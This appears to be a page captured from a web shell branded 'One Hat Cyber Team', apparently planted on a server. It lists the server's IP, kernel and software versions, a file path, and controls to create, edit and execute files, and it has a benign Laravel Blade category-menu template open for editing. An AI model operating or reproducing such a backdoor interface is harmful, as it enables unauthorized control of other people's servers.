⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.172
Server IP:
13.200.189.69
Server:
Linux ip-172-31-46-210 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.3-4ubuntu2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
backup
/
omnimart
/
resources
/
views
/
includes
/
Edit File: categories.blade.php
@php $categories = App\Models\Category::with('subcategory')->whereStatus(1)->orderby('serial','asc')->take(8)->get(); @endphp
{{ __('Categories') }}
@foreach ($categories as $key => $pcategory)
{{$pcategory->name}}
@if ($pcategory->subcategory->count() > 0)
@endif
@if ($pcategory->subcategory->count() > 0)
@foreach ($pcategory->subcategory as $scategory)
{{$scategory->name}} @if ($scategory->childcategory->count() > 0)
@endif
@if ($scategory->childcategory->count() > 0)
@foreach ($scategory->childcategory as $childcategory)
{{$childcategory->name}}
@endforeach
@endif
@endforeach
@endif
@endforeach
{{ __('All Categories')}}
Simpan